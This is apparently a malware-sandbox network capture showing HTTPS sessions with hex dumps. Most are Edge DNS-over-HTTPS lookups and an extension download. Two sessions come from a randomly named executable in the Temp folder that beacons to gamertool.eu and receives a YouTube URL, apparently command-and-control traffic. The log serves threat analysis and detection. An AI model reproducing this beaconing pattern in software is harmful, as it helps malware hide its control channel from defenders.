2024-12-27 13:43:05 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 22 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom" c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49767	142.250.181.65	443	7216	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:43:04 UTC	594	OUT	GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-27 13:43:05 UTC	563	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 154477 X-GUploader-UploadID: AFiumC7tH5ZzJMfNfa9BIZr8250lXMXmPl3ep-Vo_9n3cA_0tj0h-vy5u0X0e4GXYF7rzyXp X-Goog-Hash: crc32c=F5qq4g== Server: UploadServer Date: Thu, 26 Dec 2024 15:58:14 GMT Expires: Fri, 26 Dec 2025 15:58:14 GMT Cache-Control: public, max-age=31536000 Age: 78291 Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-27 13:43:05 UTC	827	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-12-27 13:43:05 UTC	1390	IN	Data Raw: d2 ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c 72 0e cf 9c ab 3d a2 Data Ascii: Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,\|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rtr=
2024-12-27 13:43:05 UTC	1390	IN	Data Raw: fb 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 77 c9 57 62 8f 5b 75 cd 1a e5 55 bd 63 44 Data Ascii: @uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4\|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[uUcD
2024-12-27 13:43:05 UTC	1390	IN	Data Raw: ae 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17 cd 7f 57 ce c3 98 bb Data Ascii: VkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G\|?6:{r;iGW
2024-12-27 13:43:05 UTC	1390	IN	Data Raw: fd bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d 1a be f9 ed d4 c0 dd Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}\|.nw'Gw=n'CSZB=
2024-12-27 13:43:05 UTC	1390	IN	Data Raw: 73 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e a7 e6 e3 76 c6 ba 83 Data Ascii: s=+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%pA8C4qc(>@z1/V\|#Bo4v_mnniN ZKa./<_PBzi7~>v
2024-12-27 13:43:05 UTC	1390	IN	Data Raw: 3d 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d 67 e0 5c b9 05 91 82 Data Ascii: =K`!3\|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9\|c`rlqIm7n/n$i9xS=qwlVs^\|\|s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']g\
2024-12-27 13:43:05 UTC	1390	IN	Data Raw: fc c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a f6 ea aa b3 5c b7 89 Data Ascii: fO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm\|n9*ENf+y1AQ-9w.Tvm'W:iw\|K.9-6l[/y[}5'y$+H%:Y1/F\
2024-12-27 13:43:05 UTC	1390	IN	Data Raw: 41 d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e 31 20 51 39 f9 af 05 Data Ascii: AaW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i\|\|$yfxE?d;VR??p\<Wp;s.IN1 Q9
2024-12-27 13:43:05 UTC	1390	IN	Data Raw: 87 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89 b5 56 54 75 9f c9 63 Data Ascii: QNtY\|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?\|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYyVTuc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49789	162.159.61.3	443	7216	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:43:06 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-27 13:43:06 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-27 13:43:06 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 27 Dec 2024 13:43:06 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f89bcd91c807285-EWR alt-svc: h3=":443"; ma=86400
2024-12-27 13:43:06 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fd 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49777	162.159.61.3	443	7216	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:43:06 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-27 13:43:06 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 10 6d 73 65 64 67 65 65 78 74 65 6e 73 69 6f 6e 73 02 73 66 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 2f 00 0c 00 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: msedgeextensionssftludldeliverympmicrosoftcomA)/+
2024-12-27 13:43:06 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 27 Dec 2024 13:43:06 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f89bcd8fda18ca5-EWR alt-svc: h3=":443"; ma=86400
2024-12-27 13:43:06 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 01 00 01 10 6d 73 65 64 67 65 65 78 74 65 6e 73 69 6f 6e 73 02 73 66 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0b e1 00 34 04 73 74 61 72 02 73 66 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 08 64 65 6c 69 76 65 72 79 c0 33 c0 52 00 05 00 01 00 01 4f 51 00 26 11 63 64 70 2d 66 2d 73 73 6c 2d 74 6c 75 2d 6e 65 74 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 92 00 05 00 01 00 00 01 2c 00 38 04 73 74 61 72 02 73 62 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 09 65 64 67 65 73 75 69 74 65 03 6e 65 74 00 c0 c4 00 Data Ascii: msedgeextensionssftludldeliverympmicrosoftcomA4starsftludldeliverympmicrosoftcomdelivery3ROQ&cdp-f-ssl-tlu-nettrafficmanagernet,8starsbtludldeliverympmicrosoftcomedgesuitenet

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49778	172.64.41.3	443	7216	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:43:11 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-27 13:43:11 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom)QM
2024-12-27 13:43:12 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 27 Dec 2024 13:43:12 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f89bcfceb1a42e6-EWR alt-svc: h3=":443"; ma=86400
2024-12-27 13:43:12 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0d e8 00 2d 12 65 64 67 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 30 00 05 00 01 00 00 00 14 00 02 c0 43 c0 43 00 01 00 01 00 00 00 14 00 04 cc 4f c5 ef c0 43 00 01 00 01 00 00 00 14 00 04 0d 6b 15 ef 00 00 29 04 d0 00 00 00 00 01 3e 00 0c 01 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom-edge-microsoft-comdual-a-0036a-msedgenet0CCOCk)>:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49854	172.67.161.29	443	6976	C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:43:15 UTC	211	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3 Cache-Control: no-cache Host: gamertool.eu Connection: Keep-Alive
2024-12-27 13:43:16 UTC	841	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:43:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gnS7lCyYHvM7enShXNRvI17m8TRTLjAtBlKWQhXoy3fJX%2FgXGb02dtVXJbW5X7IWiSwf%2BmAJKtKlJ%2Fj%2FSmjhV4ODRpFemuaFKQjCVGjODeVvygnYxmyp9mEoW0n9f30%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bd14891c0f7b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1708&min_rtt=1659&rtt_var=657&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=825&delivery_rate=1760096&cwnd=205&unsent_bytes=0&cid=9274ebd12312128c&ts=820&x=0"
2024-12-27 13:43:16 UTC	49	IN	Data Raw: 32 62 0d 0a 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 77 61 74 63 68 3f 76 3d 77 6a 49 75 53 5f 72 51 51 73 59 0d 0a Data Ascii: 2bhttps://www.youtube.com/watch?v=wjIuS_rQQsY
2024-12-27 13:43:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	50082	172.67.161.29	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:43:46 UTC	211	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3 Cache-Control: no-cache Host: gamertool.eu Connection: Keep-Alive
2024-12-27 13:43:47 UTC	839	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:43:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mSiYb3PaPwXshpJKXxOis9zEfFBbOMdMIpF3wvAkcf5TG3qF%2Fv%2F7VLselt1lH6hnLFu0cUU7g09pibzzEGXW1ktqLnD4%2BynOiFpOilR5dvK5QZRabIE8C4wW3cO60tg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bdd72c9b8c11-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1853&min_rtt=1851&rtt_var=698&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=825&delivery_rate=1562332&cwnd=203&unsent_bytes=0&cid=d5f31c670dd77386&ts=739&x=0"
